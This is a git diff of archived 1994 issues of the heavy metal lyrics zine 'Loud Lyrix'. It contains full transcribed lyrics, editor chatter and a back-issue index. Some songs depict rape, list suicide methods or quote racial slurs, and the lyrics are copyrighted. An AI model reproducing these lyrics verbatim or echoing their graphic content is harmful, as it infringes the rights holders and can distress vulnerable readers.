+The book of law is the bible to him, +And any crime committed is a sin. +He keeps the peace with his law-giver, +Judge, jury, and executioner. +DROKK IT! + +*Pre-Chorus* +*Chorus* + +CRIME - The ultimate sin, +Your iso-Cube is waiting when he brings you in. +LAW - It's what he stands for, +Crime's his only enemy and he's going to war! + +CRIME - The ultimate sin, +Your iso-Cube is waiting when he brings you in. +LAW - It's what he stands for, +Crime's his only enemy and he's going to war! + +*Pre-Chorus* +*Chorus* +*Chorus* + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[Hey! There is something on this song too, from that same file I got the +"Eat Me Alive"... umm.. "critizism"! .. check it out. + +"Perhaps even more dangerous than these deviant sexual themes are Satanism +("Altar of Sacrifice" by Slayer, "Possessed" by Venom, "The Number of the +Beast" by Iron Maiden, "Disciples of Hell" by Malsteen, "Burn in Hell" by +Twisted Sister), murder ("I kill children" by the Dead Kennedys, "Bodily +Dismemberment" by Rigor Mortis, "Kill for Pleasure" by Blood Feast), and +suicide ("Don't Fear the Reaper" by Blue Oyster Cult, "Suicidal +Failure" by Suicidal Tendencies, "Killing Yourself to Live" by Black +Sabbath, "Fly to the Rainbow" by the Scorpians, "Fade to Black" by +Metallica). The examples are only the tip of the iceberg." Isn't this +WILD!! I don't know WHERE DA FUCK they come up with this shit! -- Editor] + +******************** S U I C I D A L F A I L U R E ********************** + by S U I C I D A L T E N D E N C I E S + Album: "Suicide's An Alternative" + + +Father forgive me for I know not what I do +I tried everything, now I'll leave it up to you +I don't wanna live, I don't know why +I don't have no reasons, I just want to die + +I'm a suicidal failure, I gotta have some help +I have suicidal tendencies, but I can't kill myself + +Tired of this way of life, my patience has expired +I'm barely just 19, but my life I will retire +I went down to a rifle store, I bought myself a gun +I pointed it at my head, but I couldn't get the job done + +I'm a suicidal failure, I gotta have some help +I have suicidal tendencies, but I can't kill myself + +I took all my mothers sleeping pills +I jumped off a freeway bridge +I drank three kinds of poison +And drove my car off a ridge +I beat myself with a bat +Put a noose around my head +I've overdosed on heroin +But I'm still not dead + +I'm a suicidal failure, I gotta have some help +I have suicidal tendencies, but I can't kill myself + +Death may not be the answer, it can't be all that great +But me I'm not into living, with life I can't relate +By some masochistic reasoning, I think it will be fun +I want to start my second life now +So shoot me with your gun + +***************************** T H E E N D ******************************* +Transcribed by: ThinLizzy + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************* S P I R I T I N B L A C K *********************** + by S L A Y E R + Album: "Seasons in the Abyss" + + +Welcome to my world +Involve yourself within my dream +Experience a life +Just like your mind thought not to be +Take a look through time +At past or present worlds to be +I rule this inferno +Enthroned for eternity + +Coils of the serpent unwind +Buried beneath you will find +Deep in the halls of the damned +Spirit in black till the journey's (doesn't sing that) end + +Spirits damned to rot +Amidst the brimstone fireballs +Eyes of the dead +Watching from their living walls (sings "hall"?) +Broken glass reflections +Show your flesh eaten away +Beyond the gates I'll take you +Where the blood forever rains + +Coils of the serpent unwind +Buried beneath you will find +Deep in the halls of the damned +Spirit in black till the journey's (doesn't sing that) end + +Afterlife confession +Tell me who you used to be +Looking on in wonder +As I show you it was me +Burning from within +You know one spark is all it takes +Hear the piercing cries of all +Who found that hell awaits + +Living nightmare can't you see +You really have no choice +Faded memories haunt you +Listen closely to my voice +Feed me all your hatred +Empty all your thoughts to me +I can fill your emptiness +With immortality + +Welcome to my world +Involve yourself within my dream +Experience a life +Just like your mind thought not to be +Take a look through time +At past or present worlds to be +I rule this inferno +Enthroned for eternity + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************************** N . I . B . ******************************** + by B L A C K S A B B A T H + Album: "Black Sabbath" + + +Oh yeah! + +Some people say my love cannot be true +please believe me, my love, and I'll show you +I will give you those things you thought unreal +The sun, the moon, the stars all bear my seal + +Oh yeah! + +Follow me now and you will not regret +leaving the life you led before we met +You are the first to have this love of mine +forever with me 'till the end of time + + Your love for me has just got to be real + before you know the way I'm going to feel + I'm going to feel + I'm going to feel + +Oh yeah! + +Now I have you with me, under my power +Our love grows stronger now with every hour +Look into my eyes, you will see who I am +my name is Lucifer, please take my hand + +Oh yeah! + +Follow me now and you will not regret +leaving the life you led before we met +You are the first to have this love of mine +forever with me 'till the end of time + + Your love for me has just got to be real + before you know the way I'm going to feel + I'm going to feel + I'm going to feel + +Oh yeah! + +Now I have you with me, under my power +Our love grows stronger now with every hour +Look into my eyes, you will see who I am +my name is Lucifer, please take my hand + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************** K E E P I T I N T H E F A M I L Y ***************** + by A N T H R A X + Album: "Persistence of Time" + + +Mankind, +The public enemy's not the man who speaks his mind +The public enemy's the man that goes and acts blind +Searching for an answer that he'll never find +An action from reaction and you can't make a retraction +Once you've put your head out +And then you're blue in the face, +As you try to state your case +You can think with your dick but it can't shout +Yo. +I try to understand what the hell is going on +I can't imagine how things ever got so far gone +You separatists, say you want your own state +I'll give them a state, a state of unconsciousness +Retribution, no solution, constitution +Discrimination, through the nation, raining hatred +I yell, when there's schism you must rebel +I yell, so you'll hear +I yell, i refuse to live in your hell +I am what you fear +I'm the truth, i don't keep it in the family +Live your life, take someone else +Keep it in the family +The real world's outside your door +You can't keep it in the family +You've got the longest way to fall +Keep it in the, keep it in the, keep it in the +Family +Don't even try to tell me what you think is right +When to you blacks are niggers, and jews are kikes +And you expect to be taken seriously +But your actions, they're more than curiously. +Juvenile, you emulate what you hate +And you don't even know why you feel this way +'cause daddy hated this, and mommy hated that +And your own ability to reason's like a tire gone flat +Yo. +I try to understand what the hell is going on +I can't imagine how things ever got so far gone +You separatists, say you want your own state +I'll give them a state, a state of unconsciousness +Retribution, no solution, constitution +Discrimination, through the nation, raining hatred +I yell, when there's schism you must rebel +I yell, so you'll hear +I yell, i refuse to live in your hell +I am what you fear +I'm the truth, i don't keep it in the family +Live your life, take someone else +Keep it in the family +The real world's outside your door +You can't keep it in the family +You've got the longest way to fall +When you keep it in the, when you keep it in the +When you keep it in the family +When you keep it in the, when you keep it in the +When you keep it in the family +Acting out of pure cold hatred +'cause of what another's race is +Color of another's face is +Different, and your own frustrations +Taking on a violent nature +Full of hate, so full of hate +You'd kill a man is that your fate +Your street becomes a police state +Why the hell do you hate?! +Hate, hate, hate, hate, hate, hate, hate, hate +Hate, hate!!! +I'm not gonna stand for it +Someone's gonna pay for it +I yell, we rebel +We're the truth and we won't keep it in the family +Live your life, take someone else +Keep it in the family +The real world's outside your door +You can't keep it in the family +You've got the longest way to fall +Keep it in the family +I'm the thing that you most fear +I don't keep it in the family +I am the truth you won't hear +Keep it in the family +The real world's outside your door +You can't keep it in the family +You've got the longest way to fall +Keep it in the family + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Has anyone got the lyrics to the Danzig songs: it's coming down/ the violet +fire/ trouble from his "thrall-demonsweatlive" mini-album. I would be much +obliged. -- Marcel Hubregtse + +******************* H O W T H E G O D S K I L L ********************* + by D A N Z I G + Album: "Danzig III: How The Gods Kill" + + +If you feel alive +In a darkened room +Do you know the name +Of your solitude +If you ain't got the answer +If you don't know the truth +If you want the power +Then let it flow through + +Would you let it go +Would you let it go +They cannot end this mourning + of my life +Show me +How the gods kill + +If you feel alive +If you got no fear +Do you know the name +Of the one you seek +If you want the answer +If you want the truth +Look inside your empty soul +There +You'll find the noose + +Would you let it go +Would you let it go +They cannot end this mourning + of my life +Show me +How the gods kill + +***************************** T H E E N D ******************************* +Typed by: Marcel Hubregtse + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** L E F T H A N D P A T H ************************ + by E N T O M B E D + Album: "Left Hand Path" + + + I am my own God + Master slave and I will be beyond the grave + No one will take my soul away + I carry my own will and make my day + + I am my own God + See the truth beyond + Through endless lies thy kingdom come + Glorified wisdom illumination tool + Self deceit it's the golden rule + + Live your life you're gonna die your own death + There's no one above that's gonna take your breath + + I dip my forefinger in the watery blood + Of your impotent redeemer + And write over his thorn torn brow + The true Prince of Evil + + What man's created + Man can destroy + Bring to light + That day of joy + + +***************************** T H E E N D ******************************* +Transcription By: Richard Karsmakers +(with aid of Lars-Goren Petrov and Nicke Andersson of Entombed) +Sent in by: Richard Karsmakers + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[This song was orginally written in Spanish, so if it sounds a little +weird, it's probably the fault of the translation. I'm not very clear on +the writer of this song, it seems that the contributor is the person that +wrote it, but that is unimportant, it's a good song nonetheless. -- Editor] + +******************** H E A V Y M E T A L S O N G ********************** + by M O L I B D E N U S + Album: "{Unknown}" + + +How must we move ourselves, +with what violence must we, +the new gods of the culverts, po-go our dance +for leaving to bow the new century? +In what language, with which screams, +will we, the sons of Cain, +have to pronounce the anarchy of the beast? +With what blood will we have to paint the walls +of the ancient and decadent empire? +What boots should we use for trampling the old fossils? +What trinkets should we use for the feast?... + +[Night is dressing a lukewarm and lustrous skin like the black leathers +& the stars shine like ironworks over its surface... +Today its streets own a name -a word- +that only we could pronounce... +Let's get out to seek the word +that knocks to pieces the glasses of the system... +Horoscopes are tracing new constellations +that point out the Pluto step by the ascendants of the era... +...REVOLUTION!] + +With what furor and in what rythm +will we, the new angels of the extermination, +have to finger the hexachords of steel? +How much shampoo, how many musical phrases, how much acid +will we need for dissolving +so many fuckin' <> [dandruff]?... + +...HEAVY METAL: music for the head! +solos of guitar that devour the core of our soft viscera... +Molybdenum clefs in the way of the staff +of the great culture +broken riders leaned against blinded walls & tearing away screams +that pronounce knives against the world's jugular... + +***************************** T H E E N D ******************************* +Typed by: Molibdenus + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********* A L O S T F O R G O T T E N S A D S P I R I T *********** + by B U R Z U M + Album: "Burzum" + + +The Fire in the Sky Is Extinguished +Blue Waters no Longer Cry +The Dancing of Trees Has Stopped +The Stream of Freshness from Cold Winds +Exists no Longer +The Rain Has Stopped to Drip +>From the Sky +Still Dripping Exists +>From the Veins of a Nearly Dead Boy +Once There Was Hatred +Once There Was Cold +Now +There is Only +A Dark Stone Tomb +With an Altar +An Altar which +Serves as a Bed +A Bed of Eternal Sleep +The Dreams of the Human in Sleep +Are Dreams of Relief +A Gate out of Hell +Into the Void of Death +Yet Undisturbed +The Human Sleep +And One Day +Will the Grave Be Unlocked +And the Soul +Must Return to His World +But This Time as +A Lost Forgotten Sad Spirit +Doomed +To Haunt +Endlessly + +***************************** T H E E N D ******************************* +Typed by: Hellcrusher (Bjarne Henning Kvaale) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + _ ____ _ _ _____ _ __ _______ _______ __ + | | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / / + | | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V / + | | | | | | | | | | | | | | \ / | _ / | | > < + | |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \ + |______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\ + + + B A C K I S S U E I N D E X + =============================== + +Issue #1 - 3/22/94 +------------------ +Song 1: "Heavy Metal" by Judas Priest +Song 2: "Thunderkiss '65" by White Zombie +Song 3: "Walk" by Pantera +Song 4: "Expendable Youth" by Slayer +Song 5: "Hero" by Ministry +Song 6: "Slaughterama" by GWAR (contributed by Sean Warden) + +Issue #2 - 3/29/94 +------------------ +Song 1: "Jailbreak" by AC/DC +Song 2: "Master of Puppets" by Metallica +Song 3: "Electric Eye" by Judas Priest +Song 4: "No Apology" by Believer (contributed by Phil Powell) +Song 5: "Face the Day" by The Angels (contributed by Alex Carranza) +Song 6: "Just One Fix" by Ministry (contributed by Cobalt Raven) +Song 7: "Time" by Pink Floyd (contributed by John Lopes) +Song 8: "Reeking Breath" by Crash (contributed by Arnold Mohammed) + +Issue #3 - 4/05/94 +------------------ +Song 1: "Arti-ficial" by X-Ray Spex +Song 2: "Cemetary Gates" by Pantera +Song 3: "Flaming Telepaths" by Blue Oyster Cult +Song 4: "Junkhead" by Alice in Chains +Song 5: "Force Fed" by Precious Death +Song 6: "The Four Horsemen" by Metallica +Song 7: "Stigmata" by Ministry +Song 8: "Manifest" by Sepultura + +Issue #4 - 4/12/94 +------------------ +Prologue: The Eye +Song 1: "The Eye of The Witch" by King Diamond +Song 2: "Diamonds and Rust" by Judas Priest +Song 3: "Propaganda" by Sepultura +Song 4: "You Shook Me All Night Long" by AC/DC +Song 5: "Smells Like Teen Spirit" by Nirvana +Song 6: "Fucking Hostile" by Pantera +Song 7: "Suicide Solution" by Ozzy Osbourne +Song 8: "Eternal" by Paradise Lost +Song 9: "Fade To Black" by Metallica + +Issue #5 - 4/19/94 +------------------ +Song 1: "The Trial" ("The Eye", Chapter 2) by King Diamond +Song 2: "Refuse/Resist" by Sepultura +Song 3: "Blackened" by Metallica +Song 4: "Mouth for War" by Pantera +Song 5: "Institutionalized" by Suicidal Tendencies +Song 6: "Mother" by Danzig +Song 7: "Feel" by Detritus +Song 8: "Keep Talking" by Pink Floyd + +Issue #6 - 4/26/94 +------------------ +Song 1: "Burn" by King Diamond +Song 2: "Cowboys From Hell" by Pantera +Song 3: "Critical Mass" by Nuclear Assault +Song 4: "Die Hard" by Venom +Song 5: "Possessed to Skate" by Suicidal Tendencies +Song 6: "Evil Has No Boundaries" by Slayer +Song 7: "Fear of the Dark" by Iron Maiden +Song 8: "Fade to Red" by The Dave Man +Song 9: "Escape" by Phillip Wang +Song 10: "I Have Seen The Future" by ktark@src4src.linet.org + +Issue #7 - 5/03/94 +------------------ +Song 1: "I Stand Alone" by Jackyl +Song 2: "Peace Sells, But Who's Buying?!" by Megadeth +Song 3: "Good Friends and a Bottle of Pills" by Pantera +Song 4: "Feeble Screams From Forests Unknown" by Burzum +Song 5: "As The Eternity Opens" by Immortal +Song 6: "Wonder Woman" by The Avatar +Song 7: "Flattery" by Jeroen Tiggelman +Song 8: "Through the Blender" by Philip Wang +Song 9: "Hell's Bells" by AC/DC +Song 10: "Deuce" by Kiss +Song 11: "Be Quick or Be Dead" by Iron Maiden + +Issue #8 - 5/10/94 +------------------ +Song 1: "Two Little Girls" ("The Eye", Chapter 4) by King Diamond +Song 2: "Into The Convent" ("The Eye", Chapter 5) by King Diamond +Song 3: "Sober" by Tool +Song 4: "Angel of Death" by Slayer +Song 5: "Thrust!" by White Zombie +Song 6: "I Saw Your Mommy...." by Suicidal Tendencies +Song 7: "The Day the World Turned Dayglo" by X-Ray Spex +Song 8: "Peek And Enjoy" by Crash +Song 9: "The Fire Still Burns" by Twisted Sister +Song 10: "Skulls" by The Misfits + +Issue #9 - 5/17/94 +------------------ +Song 1: "Father Picard" ("The Eye", Chapter 6) by King Diamond +Song 2: "For Whom The Bell Tolls" by Metallica +Song 3: "The Ballad of the Bobbit Hillbillies" by {Unknown} +Song 4: "Under a Funeral Moon" by Dark Throne +Song 5: "Without Fear" by Sabaoth +Song 6: "Warning" by Black Sabbath +Song 7: "Loser" by Beck +Song 8: "Clones" by Alice Cooper +Song 9: "Turbo Lover" by Judas Priest +Song 10: "Under Siege (Regnum Irae)" by Sepultura + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Alright people... we have sadly come to the end of our 10th Weekiversary +MEGA Loud Lyrix. I hope you ALL enjoyed this thing as much as I enjoyed +putting it together, I hope you didn't get yelled at by any postmaster for +getting such a huge mailing... anyways... next week, or the week after, +depending upon how much time I have on my hands.. I'm going to put together +a Reader's Survey for all you guys... it'll be kewl to see what you all +think about Metal... I'll print up the result the next week after the +survey.. also, if there are any questions that you think should appear on +the survey, mail me and tell me, I WANNA KNOW.. and don't mail me any +obvious question that I'm gonna put in anyways, like "What is your favorite +band, huh huh huh!?".... alright then people, I gotta go, got some HW to +do, (FUCK!) and the Leafs are gonna be on... SHIT! if they lose tonite, +it's OVER......... Nooooooooooooooooooooooooooooooooooooooooooooooooooo!!!! + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #10 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-11 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-11 new file mode 100644 index 00000000..a29e7c63 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-11 @@ -0,0 +1,591 @@ + + + | _ \ | | __ \ | \ \ / _ \ _ _\ \ / + | | | | | | | | \ / | | | \ / + | | | | | | | | | __ < | \ + _____\___/ \___/ ____/ _____|_| _| \_\___|_/\_\ + + + Loud Lyrix, May 31, 1994, Issue # 11 + + +Addresses (Send mail here for subscriptions) +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + +Loud Lyrix is posted weekly to the following newsgroups: + +alt.music +alt.zines +rec.music.misc +rec.music.reviews + +(BTW. The Editor does not have Usenet access, so all mail from Usenet +people should be send to one of the above addresses or else I will not see +it. Thank You.) + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #11, 5/31/94 +------------------------ + +Well people, you know what they say.... all good things must come to an +end, right? .. Well, it looks like Loud Lyrix will be going on hiatus for +a little while, this will be the last Loud Lyrix sent from this site, the +sysadmin was a little bit pissed at the last issue 'cause it was sooooo +huge, so he decided to pull the plug, but I knew it was coming, so I'm not +mad at all... anyways... you HAVE to admit it was worth it!! Didn't that +fucking issue #10 just fucking blow you guys away?!! I loved doin' it, and +I hope more than a few of you enjoyed it too... + +So anyways... this will be the last issue of Loud Lyrix sent from this +address, so that means that next week there may not be an issue, so don't +be surprised, I have to get things straightened out with the LISTSERV +owner over here, and get me a spot on it, and then LOUD LYRIX WILL BE +BACK...... with a vengeance!! Anyways, if I do miss next week, don't +despair 'cause I WILL make it up to youse! + +Oh yes people!!! It's this Saturday!!!!!! METALLICA/DANZIG/SUICIDAL .. I +just can't wait!! This weekend is gonna fucking ROCK!! ... check this out, +Friday night is my friend's birthday party, we're getting a nice Howard +Johnson Hotel room for him, and we're gonna party all night, it'll be +soooo amazing, just imagine, 20 people in one room.... hehehe... we're +gonna get ripped, and at like 3am when everyone leaves, we're gonna jump +into the van, and wheel it up to Molson Park, and sleep in there 'til the +morning... and then we'll be the first in line for the Gen. Adm. concert!!! +Then at 2pm, the gates open... and it's MOSHING TIME!!!!! yeah, I'm gonna +be surfin' the WHOLE damn concert! Then I get back, and fucking just crash +at home 'cause I'll be soooo dead tired. Then next day at 12:30pm I gotta +work, and then on Monday at 11:35am I have my Driving License Exam (take +number two!).. hopefully I'll pass............... FUCKING HOLY SHIT!!!! +What a weekend! + +Ok dudes.. so here it is, just a quick little Loud Lyrix 'cause I'm in +kinda a rush... hopefully we'll have the LISTSERV by next week, if not, +don't despair... I'LL BE BACK!! + +BTW... I had a request from JEWELS to include +the lyrics for "Fucking Hostile" by Pantera in this week's issue, +unfortunately that song was already printed up in issue #4, so I included +"No Good (Attack the Radical)" from the same album instead, I hope you +don't mind Jewels! + +CONTENTS +-------- +Song 1: "1642 Imprisonment" ("The Eye", Chapter 9) by King Diamond +Song 2: "No Good (Attack the Radical)" by Pantera +Song 3: "Evil Warriors" by Possessed +Song 4: "All That Remains" by Fear of God +Song 5: "Nuns Have No Fun" by Mercyful Fate +Song 6: "Use My Third Arm" by Pantera +Song 7: "Metal Militia" by Metallica +Song 8: "Hell Or High Water" by AC/DC +Song 9: "Gridlock" by Anthrax + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 9, "The Eye", by King Diamond + +****************** 1 6 4 2 I M P R I S O N M E N T ********************** + + +Sacrifice, holy rites, secrecy and altar wine +Black candles burning low, to the meetings again they go +Picard can't wait to take away another soul +Oh it's a shame, Picard was so insane + +In the year of 1642, it came to an end +In 1642, imprisonment + +Sacrifice, holy rites, secrecy and altar wine +Black death come this way, Father Picard will soon be going +He's ill, so sick, now his meetings are forever over +Oh it's a shame, they went along with his game + +In the year of 1642, it came to an end +In 1642, imprisonment + +Sacrifice, holy rites, secrecy and altar wine +The nuns can't take the blame +One after one they suffer a breakdown +Confession, confession, they confess to diabolic possession +Oh it's a shame, even Madeleine has gone insane + +In the year of 1642, Madeleine was leaving hell +In 1642 she found freedom in her prison cell + +********************* T O B E C O N T I N U E D *********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******** N O G O O D ( A T T A C K T H E R A D I C A L ) ********** + by P A N T E R A + Album: "Vulgar Display of Power" + + +In the States there's a problem with race. +Because of ignorant past burned fires. +>From evolution we've been killing each other. +I figure man should have it down to a science. + +No chance, not for a minute, not for a second I won't be defensive. +I'm straight out in my opinion. +You'd better listen to a man who knows what he is saying. +I've seen your side. +You run and hide for the mere fact that you feel inferior. +Be superior, and know your interior. + +Pre: +Race, pride, prejudice +Blackman, whiteman, no stand +Live in the past, we make it last, a hated mass. +No solution, mind pollution, for revolution. + +Chorus: +So low behold my eyes, this land of fools will rise. +No good, for no one. + +You blame oppression and play the role of criminals. +To rape and burn show progress is minimal. +White hoods and militants you know it's such a pity. +Living, breathing, violence in your city. + +If one man had one home in one world. +He'd live alone without variety. +Full of anxiety, no one to point at, question, or even talk to. +In his private grave, no matter what color, he wouldn't be saved from hell +He dwells, a closed mind playing the part of prison cells + +(Pre) +(Chorus) + +**************************** T H E E N D ******************************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** E V I L W A R R I O R S ************************* + by P O S S E S S E D + Album: "Seven Churches" + + +When you wake up in the night +And you stare into the dark +Your eyes will scream for sight +Evil left its mark + +You'll be looking all above +Looking all around +But if you want to see them +You have to look down + +Tortured by thoughts +Stricken with fear +Blasted to hell +The end is near + +As you wait upon your fate +Your throat is full of pain +And when you try to scream +You know it's all in vain + +Nothing you can change +Destiny is complete +Silence seems so strange +As you start to feel the heat + +Forever to burn +Infinite pain +Demons of darkness +Warriors domain + +You think you're so secure +Protected from above +Gaze into the hell fire +I know you'll fall in love + +They'll hunt you down at night +Your flesh is what they want +Your eyes will scream for sight +When evil comes to haunt + +Cursed by nightmares +When you sleep +They'll cut your throat +And blood will seep + +Fighting through the mist +Forever trapped in hell +Crushed with satan's fist +You can't escape his spell + +Sanity will pass +Reality is just a word +Evil does its task +With its mighty sword + +Open your eyes and die +By the hand of mass +Escape and you'll defy +My long awaited grasp + +They want to steal your soul +Death will steal away +Your wrongs will take their toll +Below the crust you'll lay + +Spell has cast no hope +Forgotten thoughts of good +Your neck awaits a rope +And things go like they should + +Enslaved in forever torment +Blood drips from your eyes +There is no way to repent +>From your wicked lies + +Blades of metal +Cut off your head +Served as a meal +Satan is fed + +Masters of evil +Blasters of hell +No one can stop them +We're under their spell + +Red eyes are glowing +With you in sight +And if your knowing +Scream out in fright + +**************************** T H E E N D ******************************** +Typed by: Leonid Makarovsky + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** A L L T H A T R E M A I N S ********************** + by F E A R O F G O D + Album: "Within The Veil" + + +Powerlines...steel webs confine, violating the brownish sky. +Hard grey smothers, earth, like cancer. Cracks revealing, ground below + broken and bleeding + every seed every stone. +I've heard the promise, I feel hunger, I realize. As time creeps over me + and days are torn away. +There are no answers only bitter lies, the only voice I'm believing + is the + beckoning blade. + +I know the feeling the loss of control + voice of reason slips away + eyes staring back at me + so dark so cold + reflecting all the remains. + +I know the enslaver +I taste its poison...felt its sting deep inside. +It has no answer, only bitter lies but its voice I'm hearing, + keeps calling my name. +Who can tell the torture of the soul? +Is it wrong... tell me is it wrong... to close your eyes...to sleep forever? + +**************************** T H E E N D ******************************** +Typed by: Marcel Hubregtse + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** N U N S H A V E N O F U N ********************** + by M E R C Y F U L F A T E + Album: "Mercyful Fate" + + +Upon a cross a nun will be hanged, she will be raped by an evil man +Knock spikes through her hands, things will come she won't understand +You're a nun you haven't had no fun, living your life as a virgin queen +I'm gonna change it and I'll get it done, tomorrow you won't be a virgin queen +C.U.N.T. that's what you are, you're C.U.N.T. yeah +I get it up, I get it up in the dark, I make her feel I'm not a holy man +Faster breathing, she's like a shark, she wants more +I'm gonna give her my cross +Nuns have have no fun, they just have their fathers and sons +But I'll give them hell, I never fail +I get it up, I get it up in the dark, I make her feel I'm not a holy man +Faster breathing, she's like a shark, she wants more +I'm gonna give her my cross +C.U.N.T. that's what you are, you're C.U.N.T. yeah. + +**************************** T H E E N D ******************************** +Typed by: Marcel Hubregtse + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********************** U S E M Y T H I R D A R M *********************** + by P A N T E R A + Album: "Far Beyond Driven" + + + Enlighten your sense of thought, of touch, of real, a shield, + An underground for this coward. + Building a blood in water scent. It's like some raping, + without judgement. Boy in a pocket, balls in a bag, + Serve and protect you. His dick his gun, his brain his badge. + + + A faster way to kill them all would take too goddamn long. + Absorb through pores the great escape. Kill that fuck to show him up, + equal his displeasure now. Stab his ass a reminded past of + What the fuck we live for. + Ourselves. + + Arm yourself. A branch. A third arm. Extend your health, + Crawl inside euphoria. Building a blood in water scent. It's like + a scraping, it's entrapment. Boy in a pocket, balls in a bag, + Perverted handle. His getting by is a fisted fuck. + + A faster way to exterminate them takes too fucking long. + Absorb through pores he great escape. + Kill that fuck to show him up, equal his displeasure now, + Stab his ass, a reminded past of what the fuck we live for. + Ourselves. + + Half assed for most his life. Piss poor little ham. NARC-BOY + a fake fuck limp dick, sucking up to the man. + And the world. We need a fucking cold war. + +**************************** T H E E N D ******************************** +Typed by: Eduardo Aceves Alatorre + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************** M E T A L M I L I T I A ************************* + by M E T A L L I C A + Album: "Kill 'Em All" + + +Thunder and lightning the gods take revenge +Senseless destruction +Victims of fury are cowardly now +Running for safety +Stabbing the harlot to pay for her sins +Leaving the virgin +Suicide running as if it were free +Ripping and tearing + + On through the mist and the madness + We are trying to get the message to you + Metal Militia + Metal Militia + Metal Militia + +Chained and shadowed to be left behind +nine and one thousand +Metal militia for your sacrifice +iron clad soldiers +Join or be conquered the law of the land +What will befall you +The metalization of your inner soul +twisting and turning + + On through the mist and the madness + We are trying to get the message to you + Metal Militia + Metal Militia + Metal Militia + +We are as one as we all are the same +fighting for one cause +Leather and metal are our uniforms +protecting what we are +Joining together to take on the world +with our heavy 